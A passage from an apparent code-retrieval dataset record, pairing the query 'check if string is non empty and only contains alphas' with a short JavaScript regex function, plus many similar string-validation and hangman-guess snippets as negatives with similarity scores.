pageLog.push(this.innerHTML)\n console.log(pageLog)\n}", "function setUpGame(){\n generateShips('player')\n generateShips('ai')\n }", "function loadPage(){\n \n generatePokemonAry();\n getPokemon();\n storePokemon();\n $(\".battle-arena\").hide();\n $(\".battle-arena-moves\").hide();\n $(\".battle-text\").hide();\n $(\"#endBox\").hide();\n $(\"#battleBox\").hide();\n \n\n}", "function startGame() {\n //init the game\n gWorld = new gameWorld(6);\n gWorld.w = cvs.width;\n gWorld.h = cvs.height;\n \n gWorld.state = 'RUNNING';\n gWorld.addObject(makeGround(gWorld.w, gWorld.h));\n gWorld.addObject(makeCanopy(gWorld.w));\n gWorld.addObject(makeWalker(gWorld.w, gWorld.h));\n gWorld.addObject(makeWalker(gWorld.w, gWorld.h,true));\n gWorld.addObject(makePlayer());\n \n startBox.active = false;\n pauseBtn.active = true;\n soundBtn.active = true;\n touchRightBtn.active = true;\n touchLeftBtn.active = true;\n replayBtn.active = false;\n \n gameLoop();\n }", "function initSwitch() {\n\n // Load first page into container\n loadPage(\"home_onlineChoiceView.html\");\n}", "startGame() {\n document.getElementById('homemenu-interface').style.display = 'none';\n document.getElementById('character-selection-interface').style.display = 'block';\n this.interface.displayCharacterChoice();\n this.characterChoice();\n }", "startGamePressed(self, event) {\n console.log(\"App.startGamePressed\");\n self.state = AppState.PLAYING;\n self.gameManager = new GameManager(self.sheet.currentBoard(), self);\n document.getElementById(\"board\").classList.remove(\"unplayable\"); // kell?\n document.getElementById(\"readyToPlay\").style.display = \"none\";\n document.getElementById(\"menu\").style.display = \"none\";\n document.getElementById(\"results\").style.display = \"none\";\n document.getElementById(\"game\").style.display = \"block\";\n document.getElementById(\"standing\").style.display = \"block\";\n document.getElementById(\"timeLeftPar\").style.display = \"block\";\n document.getElementById(\"timeIsUp\").style.display = \"none\";\n document.getElementById(\"stopButton\").style.display = \"block\";\n }" ]
[ "0.7528564", "0.6933498", "0.6895553", "0.6882203", "0.68217707", "0.6768641", "0.67302865", "0.67073065", "0.66712075", "0.6636145", "0.66176397", "0.6567918", "0.6561552", "0.65591073", "0.65571404", "0.6555105", "0.65550447", "0.6547398", "0.65432954", "0.651942", "0.651639", "0.6488635", "0.64806974", "0.64752656", "0.6469789", "0.6467299", "0.64612293", "0.64528644", "0.64476454", "0.64436376", "0.6440701", "0.6439941", "0.64379644", "0.64287174", "0.6418623", "0.6416232", "0.64039284", "0.6401978", "0.63846135", "0.6379121", "0.6373514", "0.63721305", "0.63660055", "0.63568324", "0.63514674", "0.63464457", "0.63414705", "0.6340171", "0.63243985", "0.63094497", "0.62980586", "0.6292174", "0.6290477", "0.6283661", "0.62828857", "0.6270748", "0.62700623", "0.62696433", "0.6262857", "0.6256584", "0.6252441", "0.62505245", "0.624974", "0.62409866", "0.62401235", "0.6233111", "0.6229779", "0.6228726", "0.6227742", "0.62203586", "0.62096846", "0.62030536", "0.6201375", "0.62010777", "0.61995554", "0.61988336", "0.6198084", "0.6197343", "0.61944824", "0.6193583", "0.61910164", "0.61887383", "0.61857724", "0.6183373", "0.6175245", "0.61741996", "0.6173371", "0.6172984", "0.61728257", "0.616962", "0.61688995", "0.6161859", "0.6160772", "0.61555916", "0.61481", "0.6143157", "0.61423856", "0.6139606", "0.61372715", "0.6131188", "0.613091" ]
0.0
-1
check if string is non empty and only contains alphas
function isNonEmptyStr(str) { return str.length >= 1 && str.match(/[a-z]/i); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function isAlpha(c){\r\n return /^\\w$/.test(c) && /^\\D$/.test(c);\r\n}", "function containsOnlyLetters(input)\n{\n\treturn /^[a-zA-Z]/.test(input.replace(/\\s/g, ''));\n}", "function noSpaceAlphaValidate( str ) {\n var alphaRegex = /[a-zA-Z ]/;\n return alphaRegex.test(str);\t\t\t\n}", "function isAlphabeticString(string) {\n var isNotEmpty = !isEmpty(string);\n var doesNotContainDigits = !CONTAINS_DIGIT_REGEX.test(string);\n var doesNotContainInvalidChars = !/[\\{\\}\\(\\)_\\$#\"'@\\|!\\?\\+\\*%<>/]/.test(string);\n return isNotEmpty && doesNotContainDigits && doesNotContainInvalidChars;\n}", "function isAlpha(text) {\n\t\tif (text.length === 1) {\n\t\t\tif (alphabet.indexOf(text) !== false)\n\t\t\t\treturn true;\n\t\t} return false;\n\t}", "function allLetter(input) {\n let inputNoSpace = input.replace(\" \", \"\");\n var letters = /^[A-Za-z]+$/;\n if (inputNoSpace.match(letters)) {\n return true;\n }\n else {\n return false;\n }\n}", "function checkString( text ) {\n\tvar str= text.value.toString();\n\tvar len=str.length;\n\tvar check = true;\n\tvar err = \"\";\n\tfor(var i=0; i<len; i++)\n\t{\n\t\tif(! ( (str.charAt(i)>='a' && str.charAt(i)<='z') || (str.charAt(i)>='A' && str.charAt(i)<='Z') || str.charAt(i)==' ' ) )\n\t\t{\n\t\t\tcheck= false;\n\t\t}\n\t}\n\tif( check == false)\n\t{\n\t\t\terr=\"Only Alphabets Allowed\";\n\t\t} else {\n\t\t\terr=\"\";\n\t\t}\n\treturn err;\n}", "function isLetter(str) {\n return str.length === 1 && str.match(/[a-z]/i);\n}", "function isLetter(str) {\n return str.length === 1 && str.match(/[a-z]/i);\n}", "function isLetter(str) {\n return str.length === 1 && str.match(/[a-z]/i);\n}", "function isnotAlpha(str){\nstringCheck=\"!@#$%^&*()_+|<>?/=-~.,`0123456789;:][{}\"+\"\\\\\"+\"\\'\";\nf1=1;\nfor(j=0;j<str.length;j++)\n{ if(stringCheck.indexOf(str.charAt(j))!=-1)\n { f1=0;}}\nif(f1==0)\n{ return true; }else {return false;}\n}", "function isnotAlpha(str){\nstringCheck=\"!@#$%^&*()_+|<>?/=-~.,`0123456789;:][{}\"+\"\\\\\"+\"\\'\";\nf1=1;\nfor(j=0;j<str.length;j++)\n{ if(stringCheck.indexOf(str.charAt(j))!=-1)\n { f1=0;}}\nif(f1==0)\n{ return true; }else {return false;}\n}", "function validateEmpty(str) {\n if ((/\\S+/.test(str))) {\n return false;\n } else {\n return true;\n }\n }", "function isAlphanumeric(string) {\n\treturn isAlphanumeric1(string, false);\n}", "function isLetter(str) {\r\n\tvar re = /[^a-zA-Z]/g;\r\n\tif (re.test(str)) {\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}", "function isLetter(str) {\r\n\tif (str.length === 1 && str.match(/[a-z]/i)) {\r\n\t\treturn true;\r\n\t} else {\r\n\t\treturn false;\r\n\t}\r\n}", "function isNotAlphabets(str)\n{\n\tfor (var i = 0; i < str.length; i++)\n\t{\n\t\tvar ch = str.substring(i, i + 1);\n\t\tif((ch < \"a\" || \"z\" < ch) && (ch < \"A\" || \"Z\" < ch)) \n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}", "static validInput(str) {\n const regExLetters = /[a-z]/gi;\n const regExChars = /[<>{}`\\\\]/gi;\n return !str.length || (regExLetters.test(str) && !regExChars.test(str));\n }", "function isAlphaNum(c){\r\n return /^\\w$/.test(c);\r\n}", "function isAlpha(characters) {\n return /^[A-Z ]*$/.test(characters);\n}", "function isAlphabetic(string, ignoreWhiteSpace) {\n if (string.search) {\n if ((ignoreWhiteSpace && string.search(/[^a-zA-Z\\s]/) != -1) || (!ignoreWhiteSpace && string.search(/[^a-zA-Z]/) != -1)) return false;\n }\n return true;\n}", "function isAlpha(string) {\n\tvar filter = /^[A-Za-z]+$/;\n\tif (filter.test(string)) {\n\t\treturn true;\n\t}\n\telse {\n\t\treturn false;\n\t}\n}", "function isAlpha(str) {\n var code = void 0,\n i = void 0,\n len = void 0;\n for (i = 0, len = str.length; i < len; i++) {\n code = str.charCodeAt(i);\n if (!(code > 64 && code < 91) && // upper alpha (A-Z)\n !(code > 96 && code < 123)) {\n // lower alpha (a-z)\n return false;\n }\n }\n return true;\n}", "function isLetter(user_name){\n \n if (!/[^a-zA-Z]/.test(user_name))\n {\n return true;\n }else{\n alert(\"Invalid name! Name can only contain Alphabets\");\n return false;\n }\n}", "function isLetter(myString){\n return /[a-zA-Z]/.test(myString);\n}", "function isEmpty(string) {\n return !/[^\\s]/.test(string);\n}", "function isAlpha (ch){\n return /^[A-Z]$/i.test(ch);\n }", "function alphanumeric(str) {\n return str.match(/^[a-zA-Z0-9]*$/) !== null;\n}", "function isAlphaName(alphan_str) {\n\t// Following code based on SIT104 prac6 exercise code\n\tvar result = true;\n\tvar range = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ- .\";\n\tvar temp;\n\n\tfor (i = 0; i < alphan_str.length; i++)\n\t{\n\t\ttemp = alphan_str.substring(i, i+1);\n\t\tif (range.indexOf(temp) == -1)\n\t\t\tresult = false;\n\t}\n\treturn result;\n}", "function is_alphanum(str) {\n let curr_char\n for (let i = 0; i < str.length; i ++) {\n curr_char = str.charCodeAt(i)\n if (!(curr_char == 95 || curr_char == 46) &&\n !(curr_char > 47 && curr_char < 58) &&\n !(curr_char > 64 && curr_char < 91) &&\n !(curr_char > 96 && curr_char < 123)) {\n return false\n }\n }\n return true\n}", "function isAlpha(parm)\n{\n\tvar lwr = 'abcdefghijklmnñopqrstuvwxyzàáâãäåæçèéêëìíîïðòóôõöøùúûüýþÿ ';\n\tvar upr = 'ABCDEFGHIJKLMNÑOPQRSTUVWXYZÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÒÓÔÕÖרÙÚÛÜÝÞß';\n\tvar val = lwr+upr;\n\tif (parm == \"\") return true;\n\tfor (i=0; i<parm.length; i++)\n\t{\n\t\tif (val.indexOf(parm.charAt(i),0) == -1) return false;\n\t}\n\treturn true;\n}", "function isAlpha (ch){\n return /^[A-Z]$/i.test(ch);\n }", "function validator(string){\n let valid = false;\n\n let regex = /[^\\w]/gm;\n let result = string.search(regex);\n if (result === -1){\n valid = true;\n }\n\n if (string.length === 0) {\n return false;\n }\n\n return valid;\n}", "function onlyLetters(input) {\n\tinput = input.toUpperCase();\n\tfor (var i = 0; i < input.length; i++) {\n\t\tif (input[i] > 'Z' || input[i] < 'A')\n\t\t\treturn false\n\t}\n\treturn true;\n}", "function validateLetters(str) {\n return (/^[a-zA-Z\\s']+$/i).test(str);\n}", "function areCharsOrLetters(theString) {\n var regSpecialChar = /[`!@#$%^&*()_+\\-=\\[\\]{};':\"\\\\|,.<>\\/?~]/\n var isChar = regSpecialChar.test(theString)\n var isLetter = theString.match(/[a-z]/i)\n if (isChar != false && isLetter != null) {\n return true\n } else if (isLetter != null) {\n return true\n } else if (isChar != false) {\n return true\n } else {\n return false\n }\n}", "function validateAlphaInput(input) {\n let message = \"Please enter one or more words with letters only\";\n if (input.length > 0) {\n return input.match(/^[a-zA-Z]\\w*/g) ? true : message;\n } else return message;\n}", "function isAlpha(string) {\n\tvar patt = /^[a-zA-Z\\u00C6\\u00D0\\u018E\\u018F\\u0190\\u0194\\u0132\\u014A\\u0152\\u1E9E\\u00DE\\u01F7\\u021C\\u00E6\\u00F0\\u01DD\\u0259\\u025B\\u0263\\u0133\\u014B\\u0153\\u0138\\u017F\\u00DF\\u00FE\\u01BF\\u021D\\u0104\\u0181\\u00C7\\u0110\\u018A\\u0118\\u0126\\u012E\\u0198\\u0141\\u00D8\\u01A0\\u015E\\u0218\\u0162\\u021A\\u0166\\u0172\\u01AFY\\u0328\\u01B3\\u0105\\u0253\\u00E7\\u0111\\u0257\\u0119\\u0127\\u012F\\u0199\\u0142\\u00F8\\u01A1\\u015F\\u0219\\u0163\\u021B\\u0167\\u0173\\u01B0y\\u0328\\u01B4\\u00C1\\u00C0\\u00C2\\u00C4\\u01CD\\u0102\\u0100\\u00C3\\u00C5\\u01FA\\u0104\\u00C6\\u01FC\\u01E2\\u0181\\u0106\\u010A\\u0108\\u010C\\u00C7\\u010E\\u1E0C\\u0110\\u018A\\u00D0\\u00C9\\u00C8\\u0116\\u00CA\\u00CB\\u011A\\u0114\\u0112\\u0118\\u1EB8\\u018E\\u018F\\u0190\\u0120\\u011C\\u01E6\\u011E\\u0122\\u0194\\u00E1\\u00E0\\u00E2\\u00E4\\u01CE\\u0103\\u0101\\u00E3\\u00E5\\u01FB\\u0105\\u00E6\\u01FD\\u01E3\\u0253\\u0107\\u010B\\u0109\\u010D\\u00E7\\u010F\\u1E0D\\u0111\\u0257\\u00F0\\u00E9\\u00E8\\u0117\\u00EA\\u00EB\\u011B\\u0115\\u0113\\u0119\\u1EB9\\u01DD\\u0259\\u025B\\u0121\\u011D\\u01E7\\u011F\\u0123\\u0263\\u0124\\u1E24\\u0126I\\u00CD\\u00CC\\u0130\\u00CE\\u00CF\\u01CF\\u012C\\u012A\\u0128\\u012E\\u1ECA\\u0132\\u0134\\u0136\\u0198\\u0139\\u013B\\u0141\\u013D\\u013F\\u02BCN\\u0143N\\u0308\\u0147\\u00D1\\u0145\\u014A\\u00D3\\u00D2\\u00D4\\u00D6\\u01D1\\u014E\\u014C\\u00D5\\u0150\\u1ECC\\u00D8\\u01FE\\u01A0\\u0152\\u0125\\u1E25\\u0127\\u0131\\u00ED\\u00ECi\\u00EE\\u00EF\\u01D0\\u012D\\u012B\\u0129\\u012F\\u1ECB\\u0133\\u0135\\u0137\\u0199\\u0138\\u013A\\u013C\\u0142\\u013E\\u0140\\u0149\\u0144n\\u0308\\u0148\\u00F1\\u0146\\u014B\\u00F3\\u00F2\\u00F4\\u00F6\\u01D2\\u014F\\u014D\\u00F5\\u0151\\u1ECD\\u00F8\\u01FF\\u01A1\\u0153\\u0154\\u0158\\u0156\\u015A\\u015C\\u0160\\u015E\\u0218\\u1E62\\u1E9E\\u0164\\u0162\\u1E6C\\u0166\\u00DE\\u00DA\\u00D9\\u00DB\\u00DC\\u01D3\\u016C\\u016A\\u0168\\u0170\\u016E\\u0172\\u1EE4\\u01AF\\u1E82\\u1E80\\u0174\\u1E84\\u01F7\\u00DD\\u1EF2\\u0176\\u0178\\u0232\\u1EF8\\u01B3\\u0179\\u017B\\u017D\\u1E92\\u0155\\u0159\\u0157\\u017F\\u015B\\u015D\\u0161\\u015F\\u0219\\u1E63\\u00DF\\u0165\\u0163\\u1E6D\\u0167\\u00FE\\u00FA\\u00F9\\u00FB\\u00FC\\u01D4\\u016D\\u016B\\u0169\\u0171\\u016F\\u0173\\u1EE5\\u01B0\\u1E83\\u1E81\\u0175\\u1E85\\u01BF\\u00FD\\u1EF3\\u0177\\u00FF\\u0233\\u1EF9\\u01B4\\u017A\\u017C\\u017E\\u1E93]+$/;\n\treturn patt.test(string);\n}", "function isAlphanumeric(string, ignoreWhiteSpace) {\n if (string.search) {\n if ((ignoreWhiteSpace && string.search(/[^\\w\\s]/) != -1) || (!ignoreWhiteSpace && string.search(/\\W/) != -1)) return false;\n }\n return true;\n}", "function check_string(input) {\r\n var re = new RegExp('[^a-zA-Z0-9-_]+');\r\n if (input.match(re)) { return false; }\r\n else { return true; }\r\n}", "function letterCheck(str, letter) { return str.includes(letter) }", "function isLetterAndNumeric(str) {\r\n\tvar re = /[^a-zA-Z0-9-]/g;\r\n\tif (re.test(str)) {\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}", "function isFullLetter(char)\n{\n\tif ((char < 'a' || char > 'z') && (char <'A' || char > 'Z') && char != \" \")\n\t{\n\t\treturn false;\n\t}\n\treturn true;\n}", "function isLetter(str, pos) {\n if (pos < 0 || pos >= str.length) { return false; }\n return !PUNCT_RE.test(str[pos]);\n }", "function checkIfOnlyLetters(field) {\n if (/^[a-zA-Z ]+$/.test(field.value)) {\n setValid(field);\n return true;\n } else {\n setInvalid(field, `${field.name} must contain only letters`);\n return false;\n }\n}", "function checkIfOnlyLetters(field) {\n if (/^[a-zA-Z ]+$/.test(field.value)) {\n setValid(field);\n return true;\n } else {\n setInvalid(field, `${field.name} must contain only letters`)\n return false;\n }\n}", "function isBlank(s) {\n return !reNonSpace.test(s);\n}", "function isBlankAgain(string) {\n return string.length === 0;\n}", "function isalpha(char) {\n return /^[A-Z]$/i.test(char);\n}", "verifyAlphaNumericWithSpaces(value) {\n let regex = RegExp('^[a-zA-Z0-9 ]*$');\n return regex.test(value);\n }", "function isAlphabet(x){\n var as = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n return (as.indexOf(x) != -1);\n}", "function emptyString(str){\n\t\n\tfor(var i = 0; i < str.length; i++){\n\t\tif(str[i] != \" \"){\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\treturn true;\n\t\n}", "function valid_alphabhet(alphabet) {\n var pola = new RegExp(/^[a-z A-Z]+$/);\n return pola.test(alphabet);\n }", "function isLetter(str, pos) {\n\t if (pos < 0 || pos >= str.length) { return false; }\n\t return !PUNCT_RE.test(str[pos]);\n\t}", "function isLetter(str, pos) {\n\t if (pos < 0 || pos >= str.length) { return false; }\n\t return !PUNCT_RE.test(str[pos]);\n\t}", "function isLetter(str, pos) {\n\t if (pos < 0 || pos >= str.length) { return false; }\n\t return !PUNCT_RE.test(str[pos]);\n\t}", "function stringBlank(word) {\n if (word === \" \") {\n return true;\n } else {\n return false;\n }\n}", "function checkString(element)\n{\n\tvar pattern= /[^a-z(.)\\s]/gi;\n\tvar result=element.match(pattern);\n\tif(result == null && checkRequired(element))\n\t\treturn true;\n\telse\n\t\treturn false;\n}", "function isAllWhite(str){\n var isAllWhite = true,i,c,counter=0;\n \n while ( str.charAt(counter) ){\n c = str.charAt(counter++);\n if ( c != ' ' && c != '\\t' && c != '\\n' && c != '\\r' ){\n isAllWhite = false;\n break;\n }\n }\n \n return isAllWhite; \n}", "function allLetterAndSpace(parameter){ \n\tvar letters = /^[A-Za-z ]+$/.test(parameter);\n\tif(letters == true){ \n\t\treturn true; \n\t}else{ \n\t\treturn false; \n\t} \n}", "function isAlphaNumTitle(alphan_str) {\n\t// Following code based on SIT104 prac6 exercise code\n\tvar result = true;\n\tvar range = \"1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ- .\";\n\tvar temp;\n\n\tfor (i = 0; i < alphan_str.length; i++)\n\t{\n\t\ttemp = alphan_str.substring(i, i+1);\n\t\tif (range.indexOf(temp) == -1)\n\t\t\tresult = false;\n\t}\n\treturn result;\n}", "function allLetter(inputTxt) {\n var letters = /^[a-zA-Z\\s]+$/;\n if (inputTxt.match(letters)) {\n return true;\n }\n else {\n alert(\"Inserisci un cognome valido (senza numeri e caratteri speciali)\");\n return false;\n }\n}", "checkLetter(letter) {\r\n return !(this.phrase.indexOf(letter) == -1);\r\n }", "function checkWords(letter) {\n let regex = /^[a-z]{1}$/;\n let bon = regex.test(letter);\n if (!bon) {\n return false;\n } else if (bon) {\n return true;\n }\n}", "function isAlphabetCharacter(letter) {\n return (letter.length === 1) && /[a-z]/i.test(letter);\n}", "function checkIfOnlyLetters(field)\n{\n if(/^[a-zA-ZñÑáÁéÉíÍóÓúÚ.,\\s]+$/.test(field.value)){\n setValid(field);\n return true;\n }else{\n setInvalid(field, `Este campo solo debe contener letras`);\n return false;\n }\n}", "function HayApostrofe(s)\n{\n var i;\n for (i = 0; i < s.length; i++)\n {\n var c = s.charAt(i);\n if (c==\"'\")\n return true;\n }\n return false;\n}", "checkLetter(e){\n const phraseJoin = this.phrase.join('');\n return phraseJoin.includes(e.toLowerCase()) ? true : false;\n }", "function hasOnlyLetters(fld){\n var rx = /^[a-zA-Z]+$/;\n if(!rx.test(fld.value))\n return false;\n\n return true;\n}", "function isLetter(str, pos) {\n if (pos < 0 || pos >= str.length) { return false; }\n return !PUNCT_RE.test(str[pos]);\n}", "function isLetter(str, pos) {\n if (pos < 0 || pos >= str.length) { return false; }\n return !PUNCT_RE.test(str[pos]);\n}", "function alpha_Check(str)\n{\n var reg=/^[A-Za-z]+$/\n var str1=str.value;\n if(!str1.match(reg))\n {\n alert(\"Invalid Data Entered!!\");\n return false;\n }\n return true;\n}", "function isAlphaNum(name) {\n var letterNumber = /^[0-9a-zA-Z]+$/;\n return !!name.match(letterNumber);\n}", "checkLetter(letterToCheck) {\n if(this.phrase.split(\"\").includes(letterToCheck)) {\n return true;\n }\n else {\n return false;\n }\n }", "function isValidUsername(username) {\n return /^[a-zA-Z- ]+$/.test(username);\n}", "static checkInvalidUsernameChars(username) {\n if (!username || username.length === 0) {\n return false;\n }\n let c = username.charAt(0);\n if (c >= '0' && c <= '9') {\n return true;\n }\n return /[^a-zA-Z0-9_]/.test(username)\n }", "function isTextSimple(value)\n{\n for(var i = 0; i < value.length; ++ i)\n {\n if(value[i] >= '0' && value[i] <= '9')\n {\n continue;\n }\n if(value[i] >= 'a' && value[i] <= 'z')\n {\n continue;\n }\n if(value[i] >= 'A' && value[i] <= 'Z')\n {\n continue;\n }\n if(value[i] == '_')\n {\n continue;\n }\n return false;\n }\n return true;\n}", "function emptyString (a) {\n\t return a === ''\n\t}", "function hasOnlyLowerCaseChars(word = '') {\n return new RegExp('^[a-z]+$', 'g').test(word);\n}", "function isLetterAndSpaceUnicode(strLetterIn) {\n\tvar strLetter = ConvertFileNameNoneUTF8(StringUtilNVL(strLetterIn).toLocaleLowerCase());\n\tif(strLetter == \"\"){\n\t\treturn false;\n\t}\n\t\n return /^[a-zA-Z\\s]*$/.test(strLetter);\n}", "function isnotAlphaNumeric(str){\nstringAlphaNumCheck=\"!@#$%^&*()_+|<>?/=-~.,;:][{}\"+\"\\\\\"+\"\\'\";\nf3=1;\nfor(j=0;j<str.length;j++)\n{if(stringAlphaNumCheck.indexOf(str.charAt(j))!=-1)\n{f3=0;}}\nif(f3==0)\n{return true;}else{return false;}\n}", "function isAlphanumeric (s)\r\n\r\n{ var i;\r\n\r\n if (isEmpty(s))\r\n if (isAlphanumeric.arguments.length == 1) return defaultEmptyOK;\r\n else return (isAlphanumeric.arguments[1] == true);\r\n\r\n // Search through string's characters one by one\r\n // until we find a non-alphanumeric character.\r\n // When we do, return false; if we don't, return true.\r\n\r\n for (i = 0; i < s.length; i++)\r\n {\r\n // Check that current character is number or letter.\r\n var c = s.charAt(i);\r\n\r\n if (! (isLetter(c) || isDigit(c) ) )\r\n return false;\r\n }\r\n\r\n // All characters are numbers or letters.\r\n return true;\r\n}", "function isAlphanumeric (s)\r\n\r\n{ var i;\r\n\r\n if (isEmpty(s))\r\n if (isAlphanumeric.arguments.length == 1) return defaultEmptyOK;\r\n else return (isAlphanumeric.arguments[1] == true);\r\n\r\n // Search through string's characters one by one\r\n // until we find a non-alphanumeric character.\r\n // When we do, return false; if we don't, return true.\r\n\r\n for (i = 0; i < s.length; i++)\r\n {\r\n // Check that current character is number or letter.\r\n var c = s.charAt(i);\r\n\r\n if (! (isLetter(c) || isDigit(c) ) )\r\n return false;\r\n }\r\n\r\n // All characters are numbers or letters.\r\n return true;\r\n}", "function isAlphabet(str) {\n var code, i, len;\n\n for (i = 0, len = str.length; i < len; i++) {\n code = str.charCodeAt(i);\n if (\n !(code > 64 && code < 91) && // upper alpha (A-Z)\n !(code > 96 && code < 123)\n ) {\n // lower alpha (a-z)\n return false;\n }\n }\n return true;\n}", "function isBlank(str) {\n\t// Following code based on SIT104 prac6 exercise code\n\tvar result = false;\n\tif ((str.length == 0) || (str+\"\" == \"\"))\n\t\tresult = true;\n\treturn result;\n}", "onlyletter(input) {\n let re = /^[A-Za-z]+$/\n let inputValue = input.value\n\n let errorMessage = `Este campo não aceita numeros nem caracteres especiais`\n\n if(!re.test(inputValue)) {\n this.printMessage(input, errorMessage)\n }\n }", "function ValidateAlphanumeric(alphanumeric) {\n var myRegEx = /[^a-z\\d]/i;\n var isValid = !(myRegEx.test(alphanumeric));\n return isValid;\n}", "function splCharCheck(params) {\n console.log(params.match(/[^0-9a-zA-Z]/))\n if(params.match(/[^0-9a-zA-Z]/) != null)\n {return true}\n else \n {return false}\n}", "function filterSpace(test){\n\treturn test != \"\";\n}", "function isnotAlphaNumeric(str){\nstringAlphaNumCheck=\"!@#$%^&*()_+|<>?/=~,;:][{}\"+\"\\\\\";\nf3=1;\nfor(j=0;j<str.length;j++)\n{if(stringAlphaNumCheck.indexOf(str.charAt(j))!=-1)\n{f3=0;}}\nif(f3==0)\n{return true;}else{return false;}\n}", "checkLetter(letter) { \n const phrase = this.phrase.toLowerCase();\n return phrase.includes(letter) ? true : false;\n }", "valid(c) { return Character.isAlphabetic(c) || c=='+'||c=='/' }", "function isLetterAndNumberWithSpace(strLetterIn) {\n\n\tvar strLetter = ConvertFileNameNoneUTF8(StringUtilNVL(strLetterIn).toLocaleLowerCase());\n\tif(strLetter == \"\"){\n\t\treturn false;\n\t}\n\t\n return /^[0-9a-zA-Z,.!-\\s]*$/.test(strLetter);\n \n}", "function alphanumeric(str){\n var regex1 = /\\w/g\n var regex2 = /[^a-zA-Z0-9]/g\n if (str.match(regex2)){\n return false\n } \n else return regex1.test(str)\n \n \n }", "validateOnlyLetterInput(name) {\n if(name==='') {\n return 'This field is required';\n } else if(!(/^[A-Za-z\\u00C0-\\u017F\\s]+$/.test(name))) {\n return 'Invalid input (only letters allowed)';\n }\n \n return '';\n }", "function isLetter(ch) {\n if (ch.match(/[a-zA-Z]/i)) {\n return true;\n } else {\n return false;\n }\n}", "function isAlphaNumericWithSpace(ctrl) {\n var invalidChars = /[^a-zA-Z0-9 ,.;'\\-_]/gi;\n\n\tif (invalidChars.test(ctrl.value)) {\n\t\tctrl.value = ctrl.value.replace(invalidChars, \"\");\n\t}\n\n\tif ((ctrl.value.charAt(0) == ' '))\n\t\tctrl.value = ctrl.value.replace(/\\s+/, '');\n}", "function valiNotEmpty (text) {\n\t\t\treturn /\\S/.test(text);\n\t\t}", "static isAlphanumericExt(name) {\n return /^[\\sa-zA-Z][\\w\\s\\-]*$/.test(name);\n }", "function checkForLetter(str) {\r\n\tfor (char of str) {\r\n\t\tif (isLetter(char)) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}" ]
[ "0.7447239", "0.74312127", "0.7402012", "0.7311966", "0.73104537", "0.72952354", "0.71631086", "0.71600264", "0.71600264", "0.7132438", "0.7120493", "0.7120493", "0.70925945", "0.70817006", "0.7080297", "0.70599633", "0.7055728", "0.70284826", "0.7012133", "0.7000293", "0.6997708", "0.6991597", "0.69825226", "0.6975031", "0.6923087", "0.69021493", "0.68802106", "0.68753386", "0.68730557", "0.6870336", "0.6834459", "0.68309116", "0.6809995", "0.6809077", "0.6807697", "0.6807132", "0.68029505", "0.6778775", "0.6744148", "0.6743407", "0.6725384", "0.67161375", "0.6713856", "0.67031926", "0.66967213", "0.6692498", "0.6685356", "0.6685014", "0.66815567", "0.66711843", "0.6669988", "0.66601765", "0.66597867", "0.6654577", "0.6654577", "0.6654577", "0.6636155", "0.6636135", "0.66327214", "0.6628579", "0.6628451", "0.6622712", "0.66023266", "0.65995586", "0.65938395", "0.65899736", "0.6588205", "0.6587595", "0.6586246", "0.65806246", "0.65806246", "0.65799636", "0.655738", "0.6547394", "0.6538469", "0.6537107", "0.6536923", "0.6527623", "0.6526795", "0.65263355", "0.65262854", "0.65255576", "0.65255576", "0.65194243", "0.6517305", "0.65136606", "0.6507611", "0.6497686", "0.64974225", "0.6496101", "0.6487849", "0.64799094", "0.64780843", "0.6476725", "0.6470906", "0.64706814", "0.64679563", "0.64675564", "0.6439663", "0.6434388" ]
0.7304325
5
function to evaluate letter guess
function guessLetter() { // make sure letter is a-z if (!isNonEmptyStr(letterGuess.value)) { displayMessage.textContent = "Please guess a letter from a-z!"; displayMessage.style.display = 'initial'; letterGuess.focus(); return; } // if letter is has already been guessed before if (guessCharSet.has(letterGuess.value)) { displayMessage.textContent = "You have already guessed that letter!"; displayMessage.style.display = 'initial'; letterGuess.focus(); return; } // add letter guessed to set guessCharSet.add(letterGuess.value); displayMessage.style.display = 'none'; // loop through secretWord to fill in corresponding matching letters let letterFound = false; for (let i = 0; i < secretWord.length; i++) { if (letterGuess.value === secretWord[i]) { letterFound = true; lettersRevealed++; wordToDisplay = setCharAt(wordToDisplay, i * 2, letterGuess.value); displayWord.textContent = wordToDisplay; } } // if letter is not in the word if (letterFound === false) { incorrectGuessesLeft--; guessPics.childNodes[displayImage].style.display = 'none'; displayImage += 2; guessPics.childNodes[displayImage].style.display = 'initial'; } lettersGuessed.textContent += letterGuess.value + ' '; guessesLeftMessage.textContent = "You have " + incorrectGuessesLeft + " incorrect guesses remaining."; // after every letter guess, check if the user has won or lost if (checkWinOrLoss() === false) { letterGuess.focus(); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function evaluateGuess(letter) {\r\n var positions = [];\r\n\r\n for (var i = 0; i < transformersCharacters[computerPick].length; i++) {\r\n if(transformersCharacters[computerPick][i] === letter) {\r\n positions.push(i);\r\n }\r\n }\r\n\r\n if (positions.length <= 0) {\r\n guessesLeft--;\r\n } else {\r\n for(var i = 0; i < positions.length; i++) {\r\n wordGuessed[positions[i]] = letter;\r\n }\r\n }\r\n}", "function evaluateGuess(letter) {\n // Array to store positions of letters in string\n var positions = [];\n for (var i = 0; i < wordList[currentWordIndex].length; i++) {\n if(wordList[currentWordIndex][i] === letter) {\n positions.push(i);\n }\n }\n if (positions.length <= 0) {\n remainingGuesses--;\n } else {\n for(var i = 0; i < positions.length; i++) {\n guessingWord[positions[i]] = letter;\n }\n }\n}", "function evaluateGuess(letter) {\n var positions = [];\n\n for (let i = 0; i < selectableWords[currentWordIndex].length; i++) {\n if (selectableWords[currentWordIndex][i] === letter) {\n positions.push(i);\n }\n }\n if (positions.length <= 0) {\n remainingGuesses--;\n } else {\n for (let i = 0; i < positions.length; i++) {\n guessingWord[positions[i]] = letter;\n }\n }\n}", "function evaluateGuess(letter) {\n // Array to store positions of letters in string\n var positions = 